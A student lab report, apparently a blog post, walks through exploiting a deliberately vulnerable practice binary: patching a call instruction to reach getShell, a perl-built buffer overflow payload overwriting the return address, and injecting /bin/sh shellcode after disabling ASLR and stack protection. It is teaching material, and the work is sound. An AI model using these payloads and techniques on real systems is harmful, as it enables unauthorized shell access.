20222801 2022-2023-2 《网络攻防实践》第9周作业

1.实践内容

实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

实践理论基础

  • 缓冲区溢出:缓冲区溢出是指当计算机向缓冲区填充数据时超出了缓冲区本身的容量,溢出的数据覆盖在合法数据上。其危害主要有两点: 程序崩溃,导致拒绝服务;跳转并且执行一段恶意代码。造成缓冲区溢出的主要原因是程序中没有仔细检查用户输入。
  • shellcode原理及简单例子:Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。 Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地。
int fun(char *shellcode)
{
	char str[4]="";//这里定义4个字节
	strcpy(str,shellcode);//这里的shellcode如果超过4个字节,就会导致缓冲区溢出
	printf("%s",str);
	return 1;
}
int main(int argc, char* argv[])
{
  char str[]="aaaaaaaaaaaaaaaaaaa!";
  fun(str);
  return 0;
}

上面程序会导致如下报错
在这里插入图片描述
这里的616161是什么来的呢?其实就是aaaa的编码
因为内存栈区从高到低
[参数][ebp][返回地址][函数内部变量空间]
如上程序,如果函数内部变量空间比较小,执行strcpy时候,源字符串比目标字符串长,就会覆盖函数返回地址,导致程序流程变化
在这里插入图片描述
0048FE44前四个00是str申请的四个字节的并初始化为00,后面的48FF1800是函数的返回地址,再后面的411E4000是ebp,既调用函数的基址。

再往下执行strcpy函数后,可以看见aaaaaaaa覆盖了返回地址
在这里插入图片描述
可以看见0018FF44地址后面的函数返回地址和ebp都被61填充了。

fun函数执行完后,返回调用fun函数地址时候,导致程序报错。

缓冲区溢出的简单讲解如上,这时候,如果我们把返回地址改成我们自己的函数地址,不就可以执行我们自己的程序了?

缓冲区溢出利用就是把返回地址改成我们自己的函数地址,上面的方法就是覆盖eip,既返回地址,还有一种方法是覆盖SHE,原理差不多。
如此便是shellcode溢出的基本原理(参考了https://blog.csdn.net/maotoula/article/details/18502679,凝练出了最核心的部分)

常见的汇编指令
MOV:将数据从一个位置移动到另一个位置
ADD/SUB:执行加法或减法操作
CMP:比较两个值,通常用于分支语句
JMP:无条件跳转到指定地址
JE/JZ:如果两个值相等则跳转到指定地址
JNE/JNZ:如果两个值不相等则跳转到指定地址
JL/JNGE:如果第一个值小于第二个值则跳转到指定地址
JG/JNLE:如果第一个值大于第二个值则跳转到指定地址
LEA:将地址赋值给指定寄存器
NOP:空操作,仅用于占位或延迟指令执行
RET:返回指令,用于从子程序返回主程序
CALL:调用子程序
PUSH/POP:将数据压入或弹出堆栈
AND/OR/XOR:执行逻辑运算
SHL/SHR:按位左移或右移操作

2.实践过程

打开kali虚拟机,首先将用户名改为yql,这种方式只是临时修改主机名,重启之后主机名会重新修改回去
在这里插入图片描述
通过mv的命令修改pwn1至包含学号信息,注意要进入桌面目录下才能找到pwn1文件
在这里插入图片描述

在这里插入图片描述
此时拍摄快照,进行后续实验

2.1可执行文件的修改

首先尝试打开pwn这个可执行文件,发现其功能就是将你的输入原模原样地输出
在这里插入图片描述
我们使用objdump -d pwn20222801 | more命令去反编译这个可执行文件
在这里插入图片描述
使用enter键可以继续向下查看,直到我们发现有main函数,foo函数,getshell函数等,并且能够发现在main函数中调用了foo函数
在这里插入图片描述
我们的目的是要将call语句的目标地址重定向为getshell函数以此来实现攻击
从上述命令的对应可以分析得出,call的机器码为e8,而e8之后跟着的则应该是其地址的机器码的倒序
call指令在编译后,其机制是将call所在位置为基址,然后把被call的位置的偏移地址给汇编成字节码,而这一步是要跳转到foo函数所在地址8048491,我们可以得到80484ba+ffffffd7=8048491

我们的目的是要跳转到getshell的函数地址,即0804847d,而804847d-80484ba=ffffffc3,所以我们需要将d7ffffff改为c3ffffff
于是我们尝试用vim打开
打开以后是乱码
在这里插入图片描述

还需输入:%!xxd,将其转换为十六进制显示
在这里插入图片描述
在这里插入图片描述
再退出保存之前,需要输入:%!xxd -r恢复为原格式
之后我们再次输入objdump -d pwn20222801 | more命令去验证是否修改成功
在这里插入图片描述
可以看到已经修改成功
于是我们重新运行pwn文件,查看是否已经可以达到我们想要的效果
在这里插入图片描述
发现启动后我们可以成功进行命令行,已经攻击成功

2.2改变指令流,实现BOF攻击

我们重回到之前的快照
然后重新使用objdump -d pwn20222801 | more命令去反编译观察foo函数,可以看到foo函数在栈中预留了0x1c大小,即28个字节的缓冲区
在这里插入图片描述
正如我们上面介绍到的原理可知,当我们输入的字符串长度超出了它预留空间的话,则会出现缓冲区溢出
只需构造一个字符串,使其溢出,溢出部分覆盖原始的返回地址,变成getshell函数的起始地址即可,而在给字符串预留的28字节的上面4个字节存放的是main函数的栈底地址,再上面的4个字节就是返回地址,这样,我们要构造字符串的33-36字节为0x7d840408
使用perl可以将无法通过键盘输入的十六进制直接输入,并使用输出重定向“>”将perl生成的字符串存储到一个文件中。
输入perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > 20222801input 将字符串"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"重定向到文件20222801input中
在这里插入图片描述
再使用xxd命令来查看是否成功修改
在这里插入图片描述
输入(cat 20222801input;cat) | ./20222801pwn
则可以看到已经攻击成功
在这里插入图片描述

2.3注入shellcode代码

为了进行后续实验,我们需要首先安装execstack,但是更换hostname安装过程会报"Temporary failure in name resolution",在网上找到一个帖子后,说是需要修改dns配置,但是自己修改hostname后执行sudo命令会虚拟机卡死,不执行sudo的话又没有修改文件的权限,所以决定重启,不使用yql的hostname
在这里插入图片描述
重启后可以成功安装execstack
在这里插入图片描述
然后使用sudo execstack -s ./pwn20222801,将堆栈设为可执行状态;

再使用sudo execstack -q ./pwn20222801,查看文件pwn的堆栈是否为可执行状态;
(注意若不是在root用户下则必须使用sudo执行,否则会返回command not found的错误)
在这里插入图片描述
echo “0” > /proc/sys/kernel/randomize_va_space,关闭地址随机化;

more /proc/sys/kernel/randomize_va_space,查看地址随机化状态。
在这里插入图片描述
输入指令:

perl -e ‘print “\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00”’ > input_shellcode,构造输入的字符串,覆盖33-36字节返回地址

输入指令:

(cat input_shellcode; cat) | ./pwn20222801,将input_shellcode作为pwn20222801的输入

在这里插入图片描述
然后可以重新打开一个终端,输入ps -ef | grep pwn20222801查看pwn20222801的进程
在这里插入图片描述

可以看到进程号是2833
为了进行调试,首先需要安装gdb
在这里插入图片描述
使用gdb pwn20222801进行调试
在这里插入图片描述
然后输入指令"attach 2833"找到对应的进程,2833即为刚才找到的进程号
在这里插入图片描述
输入disassemble foo,对foo进行反编译
在这里插入图片描述
因为函数一旦执行到ret就会退出,所以我们在ret处要设置一个断点
输入break *0x080484ae
在这里插入图片描述
在运行pwn20222801的终端中按下回车继续执行程序,然后在gdb中输入c,继续执行
在这里插入图片描述
输入info r esp查看栈顶指针所在位置,查看到栈顶指针所在的位置:0xffffd36c
在这里插入图片描述

输入指令"x/16x 0xffffd36c"查看存放内容。其中的0x01020304,就是返回地址的位置
在这里插入图片描述
使用十六进制加法计算器进行运算
这样就能算出shellcode的地址为0xffffd36c+0x00000004=0xffffd370
在这里插入图片描述
于是输入
perl -e ‘print “A” x 32;print “\x70\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a”’ > input_shellcode构造最终的shellcode

然后使用
(cat input_shellcode;cat) | ./pwn20222801再次运行可以看到攻击成功
在这里插入图片描述

3.学习中遇到的问题及解决

问题1:最后一个实验最开始攻进去总会报段错误的问题,请教了很多同学以及师哥,也没有发现问题在哪里
解决:最后换了一个pwn文件重新做得以解决 ,猜测可能是之前进行的操作损坏了pwn文件

问题2:更换hostname后虚拟机变卡,而且无法安装软件,连不上网
解决:查询资料发现是dns的问题,但是更换hostname后无法sudo执行,于是选择重启不使用那个hostname

4.实践总结

这次实践最大的收获是懂了缓冲区溢出的攻击原理,同时也熟悉了gdb等调试工具的操作,并且养成了拍快照的习惯,可以更好的去试错。希望之后对缓冲区溢出攻击学习更多,有更深的理解

参考资料

  • https://blog.csdn.net/qq_35642036/article/details/82809845(缓冲区溢出介绍)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值